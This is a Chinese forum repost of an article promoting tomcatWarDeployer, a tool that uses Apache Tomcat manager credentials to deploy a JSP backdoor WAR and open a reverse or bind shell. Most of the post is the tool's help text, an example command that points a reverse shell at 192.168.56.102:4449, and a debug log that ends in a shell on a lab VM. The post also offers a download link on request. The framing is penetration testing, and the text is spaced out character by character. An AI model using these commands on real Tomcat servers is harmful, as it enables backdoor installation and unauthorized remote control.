搜索

[22243] 2021-08-11_ApacheTomcat自动WAR部署和渗透测试工具

文档创建者：s7ckTeam
浏览次数：54
最后更新：2025-01-18
2021-08-11_ApacheTomcat自动WAR部署和渗透测试工具 A p a c h e   T o m c a t   自 动   W A R   部 署 和   渗 透 测 试 工 具 L e m o n S e c   2 0 2 1 - 0 8 - 1 1 以 下 文 章 来 源 于 系 统 安 全 运 维   ， 作 者 三 个 大 石 头 每 日 分 享 好 工 具 每 日 分 享 好 工 具 T o m c a t 是 我 们 在 工 作 中 所 使 用 的 一 款 开 源 轻 量 级 的 W e b 应 用 程 序 服 务 器 。 通 常 情 况 下 在 中 小 型 系 统 或 者 并 发 量 较 小 的 场 合 下 使 用 ， 常 用 来 与 J S P 脚 本 结 合 使 来 解 析 脚 本 语 言 部 署 搭 建 网 站 等 系 统 。 在 这 里 解 释 一 下 W a r 包 的 概 念 ： w a r 包 是 用 来 进 行 W e b 开 发 时 一 个 网 站 项 目 下 的 所 有 代 码 , 包 括 前 台 H T M L / C S S / J S 代 码 , 以 及 后 台 J a v a W e b 的 代 码 。 当 开 发 人 员 开 发 完 毕 时 , 就 会 将 源 码 打 包 给 测 试 人 员 测 试 , 测 试 完 后 若 要 发 布 则 也 会 打 包 成 W a r 包 进 行 发 布 。 W a r 包 可 以 放 在 T o m c a t 下 的 w e b a p p s 或 w o r d 目 录 , 当 T o m c a t 服 务 器 启 动 时 ， W a r 包 即 会 随 之 解 压 源 代 码 来 进 行 自 动 部 署 。 工 具 介 绍 ： 工 具 介 绍 ： 一 个 渗 透 测 试 工 具 ， 旨 在 利 用   A p a c h e   T o m c a t   凭 据 自 动 生 成 和 部 署   J S P   后 门 ， 并 在 之 后 调 用 它 并 提 供 直 观 的 展 示 （ 通 过   w e b 界 面 、 绑 定 在 远 程 机 器 上 的 侦 听 端 口 或 作 为 反 向   t c p   有 效 负 载 连 接 回 连 ） 。 在 实 践 中 ， 它 即 时 生 成   J S P   后 门   W A R   包 并 将 其 部 署 在   A p a c h e   T o m c a t   管 理 器 应 用 程 序 中 ， 使 用   p e n t e s t e r   提 供 的 有 效   H T T P   身 份 验 证 凭 据 （ 或 自 定 义 凭 据 ） 。 该 工 具 提 供 了 几 个 方 便 的 功 能 — — 比 如 管 理 器 的 面 板 查 找 逻 辑 、 对   C V E - 2 0 0 7 - 1 8 6 0   双 重 编 码 问 题 的 支 持 、 在 较 新 的   T o m c a t   中 处 理   C S R F 。 用 法 ： 用 法 ： 系 统 安 全 运 维 系 统 安 全 运 维   . 机 器 猫 学 安 全 /   每 日 分 享 ， 绝 不 偷 懒 u s e r $   p y t h o n   t o m c a t W a r D e p l o y e r . p y   - - h e l p         t o m c a t W a r D e p l o y e r   ( v .   0 . 5 )         A p a c h e   T o m c a t   a u t o   W A R   d e p l o y m e n t   &   l a u n c h i n g   t o o l         M a r i u s z   B .   /   M G e e k y   ' 1 6 P e n e t r a t i o n   T e s t i n g   u t i l i t y   a i m i n g   a t   p r e s e n t i n g   d a n g e r   o f   l e a v i n g   T o m c a t   m i s c o n f i g u r e d .         U s a g e :   t o m c a t W a r D e p l o y e r . p y   [ o p t i o n s ]   s e r v e r     s e r v e r         S p e c i f i e s   s e r v e r   a d d r e s s .   P l e a s e   a l s o   i n c l u d e   p o r t   a f t e r   c o l o n . O p t i o n s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     G e n e r a l   o p t i o n s :         - v ,   - - v e r b o s e               V e r b o s e   m o d e .         - s ,   - - s i m u l a t e             S i m u l a t e   b r e a c h   o n l y ,   d o   n o t   p e r f o r m   a n y   o f f e n s i v e                                                 a c t i o n s .         - G   O U T F I L E ,   - - g e n e r a t e = O U T F I L E                                                 G e n e r a t e   J S P   b a c k d o o r   o n l y   a n d   p u t   i t   i n t o   s p e c i f i e d                                                 o u t f i l e   p a t h   t h e n   e x i t .   D o   n o t   p e r f o r m   a n y                                                 c o n n e c t i o n s ,   s c a n n i n g s ,   d e p l o y m e n t   a n d   s o   o n .         - U   U S E R ,   - - u s e r = U S E R                                                 T o m c a t   M a n a g e r   W e b   A p p l i c a t i o n   H T T P   A u t h   u s e r n a m e .                                                 D e f a u l t = " t o m c a t "         - P   P A S S ,   - - p a s s = P A S S                                                 T o m c a t   M a n a g e r   W e b   A p p l i c a t i o n   H T T P   A u t h   p a s s w o r d .                                                 D e f a u l t = " t o m c a t "     C o n n e c t i o n   o p t i o n s :         - H   R H O S T ,   - - h o s t = R H O S T                                                 R e m o t e   h o s t   f o r   r e v e r s e   t c p   p a y l o a d   c o n n e c t i o n .   W h e n                                                 s p e c i f i e d ,   R P O R T   m u s t   b e   s p e c i f i e d   t o o .   O t h e r w i s e ,                                                 b i n d   t c p   p a y l o a d   w i l l   b e   d e p l o y e d   l i s t e n i n g   o n   0 . 0 . 0 . 0         - p   P O R T ,   - - p o r t = P O R T                                                 R e m o t e   p o r t   f o r   t h e   r e v e r s e   t c p   p a y l o a d   w h e n   u s e d   w i t h                                                 R H O S T   o r   L o c a l   p o r t   i f   n o   R H O S T   s p e c i f i e d   t h u s   a c t i n g                                                 a s   a   B i n d   s h e l l   e n d p o i n t .         - u   U R L ,   - - u r l = U R L       A p a c h e   T o m c a t   m a n a g e m e n t   c o n s o l e   U R L .   D e f a u l t :                                                 / m a n a g e r /         - t   T I M E O U T ,   - - t i m e o u t = T I M E O U T                                                 S p e c i i f e d   t i m e o u t   p a r a m e t e r   f o r   s o c k e t   o b j e c t   a n d                                                 o t h e r   t i m i n g   h o l d u p s .   D e f a u l t :   1 0
在   1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0   上 运 行 的 K e v g i r   1   V M 上 的 示 例 用 法 ：     P a y l o a d   o p t i o n s :         - R   A P P N A M E ,   - - r e m o v e = A P P N A M E                                                 R e m o v e   d e p l o y e d   a p p   w i t h   s p e c i f i e d   n a m e .   C a n   b e   u s e d                                                 f o r   p o s t - a s s e s s m e n t   c l e a n i n g         - X   P A S S W O R D ,   - - s h e l l p a s s = P A S S W O R D                                                 S p e c i f i e s   a u t h e n t i c a t i o n   p a s s w o r d   f o r   u p l o a d e d   s h e l l ,                                                 t o   p r e v e n t   u n a u t h e n t i c a t e d   u s a g e .   D e f a u l t :   r a n d o m l y                                                 g e n e r a t e d .   S p e c i f y   " N o n e "   t o   l e a v e   t h e   s h e l l                                                 u n a u t h e n t i c a t e d .         - T   T I T L E ,   - - t i t l e = T I T L E                                                 S p e c i f i e s   h e a d > t i t l e   f o r   u p l o a d e d   J S P   W A R   p a y l o a d .                                                 D e f a u l t :   " J S P   A p p l i c a t i o n "         - n   A P P N A M E ,   - - n a m e = A P P N A M E                                                 S p e c i f i e s   J S P   a p p l i c a t i o n   n a m e .   D e f a u l t :   " j s p _ a p p "         - x ,   - - u n l o a d                 U n l o a d   e x i s t i n g   J S P   A p p l i c a t i o n   w i t h   t h e   s a m e   n a m e .                                                 D e f a u l t :   n o .         - C ,   - - n o c o n n e c t           D o   n o t   c o n n e c t   t o   t h e   s p a w n e d   s h e l l   i m m e d i a t e l y .   B y                                                 d e f a u l t   t h i s   p r o g r a m   w i l l   c o n n e c t   t o   t h e   s p a w n e d                                                 s h e l l ,   s p e c i f y i n g   t h i s   o p t i o n   l e t ' s   y o u   u s e   o t h e r                                                 h a n d l e r s   l i k e   M e t a s p l o i t ,   N e t C a t   a n d   s o   o n .         - f   W A R F I L E ,   - - f i l e = W A R F I L E                                                 C u s t o m   W A R   f i l e   t o   d e p l o y .   B y   d e f a u l t   t h e   s c r i p t   w i l l                                                 g e n e r a t e   o w n   W A R   f i l e   o n - t h e - f l y . u s e r $   p y t h o n   t o m c a t W a r D e p l o y e r . p y   - v   - x   - p   4 4 4 9   - H   1 9 2 . 1 6 8 . 5 6 . 1 0 2   1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0         t o m c a t W a r D e p l o y e r   ( v .   0 . 3 )         A p a c h e   T o m c a t   6 / 7   a u t o   W A R   d e p l o y m e n t   &   l a u n c h i n g   t o o l         M a r i u s z   B .   /   M G e e k y   ' 1 6 P e n e t r a t i o n   T e s t i n g   u t i l i t y   a i m i n g   a t   p r e s e n t i n g   d a n g e r   o f   l e a v i n g   T o m c a t   m i s c o n f i g u r e d .         I N F O :   R e v e r s e   s h e l l   w i l l   c o n n e c t   t o :   1 9 2 . 1 6 8 . 5 6 . 1 0 2 : 4 4 4 9 . D E B U G :   B r o w s i n g   t o   " h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / m a n a g e r / " . . .   C r e d s :   t o m c a t : t o m c a t D E B U G :   A p a c h e   T o m c a t   M a n a g e r   A p p l i c a t i o n   r e a c h e d   &   v a l i d a t e d . D E B U G :   G e n e r a t i n g   J S P   W A R   b a c k d o o r   c o d e . . . D E B U G :   P r e p a r i n g   a d d i t i o n a l   c o d e   f o r   R e v e r s e   T C P   s h e l l D E B U G :   G e n e r a t i n g   t e m p o r a r y   s t r u c t u r e   f o r   j s p _ a p p   W A R   a t :   " / t m p / t m p D h z o 9 I " D E B U G :   W o r k i n g   w i t h   J a v a   a t   v e r s i o n :   1 . 8 . 0 _ 6 0 D E B U G :   G e n e r a t i n g   w e b . x m l   w i t h   s e r v l e t - n a m e :   " J S P   A p p l i c a t i o n " D E B U G :   G e n e r a t i n g   W A R   f i l e   a t :   " / t m p / j s p _ a p p . w a r " D E B U G :   a d d e d   m a n i f e s t a d d i n g :   f i l e s / ( i n   =   0 )   ( o u t =   0 ) ( s t o r e d   0 % ) a d d i n g :   f i l e s / W E B - I N F / ( i n   =   0 )   ( o u t =   0 ) ( s t o r e d   0 % ) a d d i n g :   f i l e s / W E B - I N F / w e b . x m l ( i n   =   5 4 7 )   ( o u t =   2 5 3 ) ( d e f l a t e d   5 3 % ) a d d i n g :   f i l e s / M E T A - I N F / ( i n   =   0 )   ( o u t =   0 ) ( s t o r e d   0 % ) a d d i n g :   f i l e s / M E T A - I N F / M A N I F E S T . M F ( i n   =   6 8 )   ( o u t =   6 7 ) ( d e f l a t e d   1 % ) a d d i n g :   i n d e x . j s p ( i n   =   4 6 8 4 )   ( o u t =   1 5 9 5 ) ( d e f l a t e d   6 5 % ) D E B U G :   W A R   f i l e   s t r u c t u r e : D E B U G :   / t m p / t m p D h z o 9 I ├ ─ ─   f i l e s │       ├ ─ ─   M E T A - I N F │       │       └ ─ ─   M A N I F E S T . M F │       └ ─ ─   W E B - I N F │               └ ─ ─   w e b . x m l └ ─ ─   i n d e x . j s p 3   d i r e c t o r i e s ,   3   f i l e s W A R N I N G :   A p p l i c a t i o n   w i t h   n a m e :   " j s p _ a p p "   i s   a l r e a d y   d e p l o y e d . D E B U G :   U n l o a d i n g   e x i s t i n g   o n e . . . D E B U G :   U n l o a d i n g   a p p l i c a t i o n :   " h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / j s p _ a p p / " D E B U G :   S u c c e e d e d . D E B U G :   D e p l o y i n g   a p p l i c a t i o n :   j s p _ a p p   f r o m   f i l e :   " / t m p / j s p _ a p p . w a r " D E B U G :   R e m o v i n g   t e m p o r a r y   W A R   d i r e c t o r y :   " / t m p / t m p D h z o 9 I " D E B U G :   S u c c e e d e d ,   i n v o k i n g   i t . . . D E B U G :   S p a w n e d   s h e l l   h a n d l i n g   t h r e a d .   A w a i t i n g   f o r   t h e   e v e n t . . . D E B U G :   A w a i t i n g   f o r   r e v e r s e - s h e l l   h a n d l e r   t o   s e t - u p D E B U G :   E s t a b l i s h i n g   l i s t e n e r   f o r   i n c o m i n g   r e v e r s e   T C P   s h e l l   a t   1 9 2 . 1 6 8 . 5 6 . 1 0 2 : 4 4 4 9 D E B U G :   S o c k e t   i s   b i n d e d   t o   l o c a l   p o r t   n o w ,   a w a i t i n g   f o r   c l i e n t s . . . D E B U G :   I n v o k i n g   a p p l i c a t i o n   a t   u r l :   " h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / j s p _ a p p / " D E B U G :   A d d i n g   ' X - P a s s :   o H I 9 m P B 0 m O n Z '   h e a d e r   f o r   s h e l l   f u n c t i o n a l i t y   a u t h e n t i c a t i o n . D E B U G :   I n c o m i n g   c l i e n t :   1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 5 4 2 5 1 I N F O :   J S P   B a c k d o o r   u p   &   r u n n i n g   o n   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / j s p _ a p p / I N F O :   H a p p y   p w n i n g .   H e r e   t a k e   t h a t   p a s s w o r d   f o r   w e b   s h e l l :   ' o H I 9 m P B 0 m O n Z ' D E B U G :   C o n n e c t e d   w i t h   t h e   s h e l l :   t o m c a t 7 @ c a n y o u p w n m e j h t o m c a t 7 @ c a n y o u p w n m e   $   i d u i d = 1 0 6 ( t o m c a t 7 )   g i d = 1 1 4 ( t o m c a t 7 )   g r o u p s = 1 1 4 ( t o m c a t 7 )
该 程 序 将 在   1 9 2 . 1 6 8 . 5 6 . 1 0 2 : 4 4 4 9   主 机 （ 本 地 主 机 ） 上 为 反 向   s h e l l   连 接 设 置 一 个 本 地 侦 听 器 ， 如 上 例 所 示 。 然 后 ， 在 调 用 J S P   B a c k d o o r   后 ， 它 会 自 动 连 接 到 本 地 侦 听 器 ， 从 而 弹 出 s h e l l 。 如 您 所 见 ， 需 要 使 用 密 码 来 利 用 部 署 的 后 门 ， 从 而 防 止 在 进 行 评 估 期 间 未 经 身 份 验 证 的 访 问 。 综 上 所 述 ， 用 户 产 生 了 提 供   W E B   后 门 的   W E B   应 用 程 序 ， 通 过 用 户 指 定 或 程 序 随 机 生 成 的   P O S T   ' p a s s w o r d '   参 数 进 行 身 份 验 证 。 然 后 ， 应 用 程 序 在 调 用 阶 段 收 到 X - P a s s 标 头 后 ， 生 成 与 我 们 的 n e t c a t 处 理 程 序 的 反 向 连 接 。 这 里 正 在 请 求   H T T P   标 头 ， 以 防 止 用 户 刷 新   W E B   界 面 并 继 续 尝 试 绑 定 或 反 向 连 接 。 这 也 利 用 身 份 验 证 来 访 问 该 代 码 。 以 上 是 我 的 分 析 。 已 测 试 ： 已 测 试 ： A p a c h e   T o m c a t / 5 . 5 . 3 5 A p a c h e   T o m c a t / 6 . ? A p a c h e   T o m c a t / 7 . 0 . 5 2 A p a c h e   T o m c a t / 7 . 0 . 5 6 A p a c h e   T o m c a t / 8 . 0 . 3 3 私 聊 下 方 公 众 号 发 送 “ t o m c a t ” 获 取 百 度 网 盘 下 载 链 接 。 每 日 坚 持 分 享 好 工 具 好 资 源 ， 麻 烦 各 位 师 傅 文 章 底 部 给 点 个 每 日 坚 持 分 享 好 工 具 好 资 源 ， 麻 烦 各 位 师 傅 文 章 底 部 给 点 个 “ 再 看 再 看 ” ， 感 激 不 尽 ， 感 激 不 尽 t o m c a t 7 @ c a n y o u p w n m e   $   e x i t 手 动 部 署 w a r 包 可 参 考 案 例 ： h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 4 2 9 1 8 7 7 1 / a r t i c l e / d e t a i l s / 1 0 4 8 7 6 0 2 5 ? u t m _ m e d i u m = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - 2 ~ d e f a u l t ~ b a i d u j s _ t i t l e ~ d e f a u l t - 0 . c o n t r o l & s p m = 1 0 0 1 . 2 1 0 1 . 3 0 0 1 . 4 2 4 2 h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 4 3 0 7 1 8 7 3 / a r t i c l e / d e t a i l s / 1 0 9 5 3 2 1 6 0 h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 8 6 2 7 9 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理